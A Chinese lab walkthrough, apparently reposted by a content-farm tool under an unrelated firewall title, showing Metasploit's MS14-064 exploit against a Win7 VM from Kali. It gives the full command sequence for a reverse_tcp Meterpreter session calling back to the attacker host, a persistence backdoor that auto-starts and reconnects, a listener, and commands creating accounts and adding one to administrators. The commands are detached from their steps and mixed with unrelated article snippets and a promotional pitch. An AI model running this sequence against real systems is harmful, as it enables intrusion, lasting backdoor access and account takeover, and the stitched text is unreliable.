win10虚拟机如何关闭防火墙-(虚拟机中如何关闭防火墙)
来源:191路由网 2023-06-11 08:51:23
在VMware上建立两个虚拟机:win7和kali。
Kali:它是Linux发行版的操作系统,它拥有超过300个渗透测试工具,就不用自己再去找安装包,去安装到我们自己的电脑上了,毕竟自己从网上找到,也不安全。它甚至还集成了600多种黑客工具,很强大。
可以永久免费使用,基本上学黑客攻击必会用到这个系统。
靶机:Win7 64位 (IP: 192.168.10.45)--用ipconfig进行查询。
攻击机:Kali (IP:192.168.10.21)--用ifconfig进行查询。
1、实验环境前提条件【一一帮助安全学习,所有资源关注我,私信回复“资料”获取一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
win7中,关闭防火墙(“打开网络和共享中心”-“Windows防火墙”-“打开或关闭Windows防火墙”-均选择关闭选项)。
保证两个虚拟机是可以ping通的(尤其是在kali中去ping win7,看能否连通)。
$ping 192.168.10.45
Metasploit是一款开源的安全漏洞检测工具,msfconsole用于启动msf终端:
>msfconsole
**结果:**成功进入,进入到"msf6>“的模式下
搜索漏洞,编号为MS14-064。
MS14-064为Windows OLE自动化阵列远程代码执行漏洞。当IE不作访问内存中的对象时,存在远程代码执行漏洞。OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,用户使用IE浏览器查看该网站时允许远程执行代码。
【补充:Windows系统漏洞微软的漏洞编号命名格式为:MS14-064;
MS Micosoft的缩写,固定格式;
14 表示年份,即2014年发布的漏洞;
064 表示顺序,即当年度发布的第64个漏洞。
>search ms14-064
**结果:**可以看到返回了多条可利用的漏洞模块信息
利用其中一个漏洞攻击模块-0模块,进行攻击,进入模块中(注意:必须是“_”,不是“-”,否则会报错)。
>use exploit/windows/browser/ms14_064_ole_code_execution
**结果:**成功切换到这个模块之下--”msf6 exploit(windows/browser/ms14_064_ole_code_execution)>“
并提示“no payload configured,defaulting to windows/meterpreter/reverse_tcp”--没有配置payload,默认为 windows/meterpreter/reverse_tcp
进到这个漏洞模块之后,先查看该测试模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数。
>show options
**结果:**其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;
重点关注6个参数配置,需要设置哪个就设置哪个:
Payload (攻击载体-使用默认的windows/meterpreter/reverse_tcp即可) ;
SRVHOST (文件共享服务器-kali地址);
SRVPORT (文件共享服务器的端口-使用默认获取的端口即可);
LHOST (发起攻击的地址-kali地址);
LPORT (发起攻击的端口-使用默认获取的端口即可);
AllowPowershellPrompt (开启浏览器插件,默认为false)
【补充说明:
1)Payload中包含有需要在远程系统中运行的恶意代码,Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。也就是说,漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
2)Payload模块主要有以下三种类型:-Single -Stager -Stage
Single是一种完全独立的Payload,实现的目的也简单,但容易被捕捉到。
Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。 一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接(3次握手-4次挥手)(是一个基于TCP的反向链接反弹shell, 使用起来很稳定)。
Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
3)windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。
注意:Payload为windows/meterpreter/reverse_tcp 默认获取到的控制通道meterpreter为32位,
如果想将之后获取到的控制通道meterpreter改为64位,则设置。payload:windows/x64/meterpreter/reverse_tcp
6、设置文件共享服务器发现SRVHOST为空,待设置,其它(payload/SRVPORT/LHOST/LPORT)均已获取,且正确,设置SRVHOST的对应的参数地址,它指的是文件共享服务器的地址,想一想,要设成谁?为什么?
分析一下:是在哪里用到这个文件共享服务器?是不是会在生成一个网址,诱导用户点击了,就会直接连接到发起攻击的主机上。那你们觉得应该是谁生成这个连接呢?是用户那边么?还是攻击者这边?肯定是攻击者这边吧,我们是不知道会有谁点了这个网站链接吧。
所以,我们才会对这个文件共享服务器的地址设置为kali的地址
要把AllowPowershellPrompt的默认参数false改为true,因为msf中自带的漏洞是利用exp调用的是powershell(powershell是一种命令外壳程序和脚本环境),所以msf的exp代码只对安装了powershell的系统生效。 查看对SRVHOST和AllowPowershellPrompt进行的修改,是否修改成功 **结果:**生成一个网站的链接“Using URL : http://192.168.10.21:8080/xE6RxjSy,开启服务,光标停留在这,等待有人点击该网站链接。 到win7中,在IE浏览器中打开网站链接: http://192.168.10.21:8080/xE6RxjSy,会提示是否允许打开一个文件,选择“允许”之后,即可触发会话连接。 **结果1:**在win7中打开链接后,不会有任何的反馈结果。 **结果2:**由于在win7中触发打开了网址链接,那么,在kali中,则会触发会话连接,结果显示了是192.168.10.45(目标主机win7)尝试点击了该网站链接,于是,kali利用MS14-064漏洞模块对目标主机发起了攻击,最终,“meterpreter session 1 opened”--表明已经开通192.168.10.21:4444和192.168.10.45:49191会话连接1。 一般会自动进入控制通道meterpreter,交互模式,表明攻击成功。 注意: 一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接。 1)手动查看当前存在的会话 注意在目录msf>下,手动查看当前存在的会话。 **结果:**当前只有会话连接1,meterpreter建立的连接类型type是x86–32位的(由模块中的payload设定),以及展示目标主机192.168.10.45的基本信息和连接信息。 2)选择连接当前已经开通的会话1 **结果:**成功进入控制通道meterpreter,交互模式,表明攻击成功。 在kali控制win7后,通过persistence,在目标主机上生成一个后门程序,以便后续不再通过MS14-064漏洞进行二次入侵,而是通过这个后门文件来入侵该主机【注意在控制通道meterpreter>下】。 注意:因为这个MS14-064漏洞很容易被修复,一旦目标主机进行定期修补漏洞,那么通过MS14-064漏洞进行入侵的路径,就会失效,但植入的后门程序是不容易被发现和修复的,所以一旦入侵成功后,建议尝试植入后门程序。 通过persistence(支持多种方式启动)植入固定的后门程序,设置相关参数,设置回连地址和端口号。 重点关注6个参数配置: -S:系统启动时自动加载本程序(因为该后门程序是不能被目标用户发现,更不需要让目标主机进行点 击启动的,所以需要该程序有自动加载的功能); -U:用户登陆时自动加载本程序; -X:开机时自动加载本程序; -i: 自动加载后,回连的时间间隔,即后门每隔多少秒尝试连接回连地址; -r: 自动加载后,回连的主机地址,回连到谁啊,自然是入侵的kali的地址; -p:自动加载后,回连的端口号,即kali地址的端口号,理论上可随意设置,但范围不要超过65535,且 不可设置为常见的特殊的端口号; **结果1:**在kali中提示,成功生成一个后门程序yqLAOjt.vbs,自动加载后会回连到192.168.10.21:40000,并保存于目标主机win7中的C:\Users\18044\AppData\Local\Temp\目录下。 【**注意:**payload自动设置为“windows/meterpreter/reverse_tcp”,LHOST设置为192.168.10.21,LPORT设置为40000】 **结果2:**在win7中的C:\Users\18044\AppData\Local\Temp\目录下,成功找到从攻击主机kali植入的后门程序yqLAOjt.vbs 【补充知识点: 1)端口号范围:0~65535 2)常见端口号列举 在成功植入后门程序后,我们还需要对该后门程序进行验证,验证是否可以通过该后门程序成功入侵目标主机win7,所以可先将当前通过MS14-064漏洞开启的会话连接挂起(background)或断开(exit),均可 **结果:**成功将session会话1挂起到后台,并没有断开连接,且成功切换到msf >目录下 利用后门程序进行攻击,需要打开一个监听模块,能够反弹shell监听模块,进行攻击,进入模块中 **结果:**成功切换到这个模块之下--”msf6 exploit(multi/handler)>“ 并提示“Using configured payload generic/shell_reverse_tcp”--使用的payload为generic/shell_reverse_tcp 进到这个监听模块之后,先查看该模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数? **结果:**其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项; 重点关注3个参数配置,需要设置哪个就设置哪个: Payload:攻击载体; LHOST:回连地址; LPORT:回连端口号; 因为我们要开启的这个监听模块,是专门针对于yqLAOjt.vbs后门程序,进行实时监听,那么,必然需要将监听模块的参数配置,与yqLAOjt.vbs后门程序的参数配置保持一致,只有这样,才能达到准确的监听 之前制作yqLAOjt.vbs的参数为: 因此,我们也就需要将监听模块的攻击载体Payload,与后门程序的payload保持一致: 需要将监听模块的回连地址LHOST,与后门程序的LHOST保持一致: 需要将监听模块的回连地址的端口号LPORT,与后门程序的LPORT保持一致: **结果:**开启针对192.168.10.21:40000的监听模式,因为yqLAOjt.vbs后门程序已经设置了自动加载,所以一旦开启监听模块,立即会有反馈信息回连到192.168.10.21:40000上来。 最终,“meterpreter session 2 opened”--表明已经开通192.168.10.21:40000和192.168.10.45:49227的会话连接2。 一般会自动进入控制通道meterpreter,交互模式,表明攻击成功。 【注意: 此时,将当前开启的会话进行挂起操作–background,再查看当前已存在的会话–sessions,结果会得到已开启两个会话连接信息,要对这两个会话连接进行区分,分清楚,第一个会话连接是通过MS14-064漏洞开启的,第二个会话连接是通过后门程序开启的 1)拿到shell权限,获得控制台权限,可以获取系统的控制台C:\Windows\system32 2)进入后,可能会有乱码的情况,解决乱码问题 3)显示win7系统中所有的用户 4)创建用户 创建用户,用户名为test,密码为test【net user 用户名 密码 /add】 也可以不设置密码,只创建用户名为test1的无密码用户【net user 用户名 /add】 **结果1:**在kali中,若结果显示“the commad completed successfully”—代表“命令执行成功” ,用户创建成功 ; 若结果显示“system error 5 has occurred;access is denied”—“发生系统错误5; 拒绝访问”-----代表权限不够的问题,需要**进行提权,可以利用bypassuac或者Windows内核漏洞进行提权 **结果2:**在win7中,”控制面板“—”添加或删除用户账户“,查看成功新建的用户test(标准用户–密码保护)、test1(标准用户–无密码) 5)将新用户添加到administrator分组–提升到管理员权限【net localgroup administrators 用户名 /add】 **结果1:**在kali中,显示“the commad completed successfully”—代表“命令执行成功” ,成功添加到administrator分组,提升管理员权限成功 ; **结果2:**在win7中,”控制面板“—”添加或删除用户账户“,查看新建的用户test1用户由之前的”标准用户“提升至”管理员“,提升权限成功。 win10虚拟机如何关闭防火墙(虚拟机中如何关闭防火墙)在VMware上建立两个虚拟机:win7和kali。Kali:它是Linux发行版的操作系统,它拥有超过300个渗透测试工具,就不用自己再去找安装包,去安装到我们自己的电脑上了,毕竟自己从网上找到,也不安全。它甚至还集成了600多种黑客工具,很强大。可以永久免费使用,基本上学黑客攻击必会... u盘缩水盘怎么修复工具(怎样修复缩水u盘)U盘容量变小怎么恢复?相信大家都拥有并且使用过U盘,它作为一个物美价廉的存储设备能够很好地担负起转存文件、储存数据的责任。但是U盘也会遇到一些故障而导致里面存储的文件数据丢失,比如有时候U盘的容量会变小,这时候该怎么去修复U盘、恢复文件数据呢?下面就为大家详细介绍U盘容量变小的原因和修复方法。一、U盘容量变小的原因有哪些?U盘容量变小的原因有多方面... u盘启动盘制作工具干净(干净的u盘启动盘制作工具)windows系统u盘制作工具,大家都知道现在网络上有很多的u盘启动工具但是呢这些u盘启动工序呢大家没有办法去分辨它的好坏大部分的u盘启动工具里面都集成了很多的流氓软件还有各种对电脑造成威... 苹果怎么进入win7系统还原(苹果怎么进入win7系统还原设置)很多朋友给小白留言说,使用了新版小白的一键备份后,不知道如何还原系统。体验过新版的朋友们最大的感受就是这个工具越来越小了。接下来,win7系统的一键还原将为您带来一个详细的教程。在系统一键备份方面,如何减少系统一键还原?许多小型合作伙伴在自己的计算机上备份系统,但不知道如何还原系统,特别是当系统变慢需... u盘设备型号怎么看(u盘设备型号怎么看)◆在电脑中插入了USB设备并被移除之后,会在系统中留下什么痕迹吗?如果我们需要了解USB设备在本系统中曾经或正在使用的情况,可以用USBDeview这款小软件来查明。文|如云利用USBDeview(下载地址:或为32位和64位两种程序),我们可以列出当前连接到电脑或曾连接过该电脑的所有USB设备。该软件不用安装,下载并解包后直接运行EXE程序即可... 191路由网 - 192.168.1.1,192.168.0.1无线路由器设置教程 版权声明:本站的文章和图片来自互联网收集,仅做分享之用如有侵权请联系站长,我们将在24小时内删除>set SRVHOST 192.168.10.21
>set AllowPowershellPrompt true
>show options
>run
>sessions
>sessions -i 1
>run persistence -S -U -X -i 5 -p 40000 -r 192.168.10.21
meterpreter>background
>use exploit/multi/handler
>show options
"run persistence -S -U -X -i 5 -p 40000 -r 192.168.10.21"
>set payload windows/meterpreter/reverse_tcp
>set LHOST 192.168.10.21
>set LPORT 40000
>show options
>run
meterpreter>shell
C:\Windows\system32>chcp 65001
C:\Windows\system32>net user
C:\Windows\system32>net user test test /add
C:\Windows\system32>net user test1 /add
C:\Windows\system32>net localgroup adminis trators test1 /add
这是水淼·帝国CMS站群文章更新器的试用版本更新的文章,故有此标记(2023-06-11 08:51:22)
相关阅读
win10虚拟机如何关闭防火墙-(虚拟机中如何关闭防火墙)
u盘缩水盘怎么修复工具-(怎样修复缩水u盘)
u盘启动盘制作工具干净-(干净的u盘启动盘制作工具)
苹果怎么进入win7系统还原-(苹果怎么进入win7系统还原设置)
u盘设备型号怎么看-(u盘设备型号怎么看)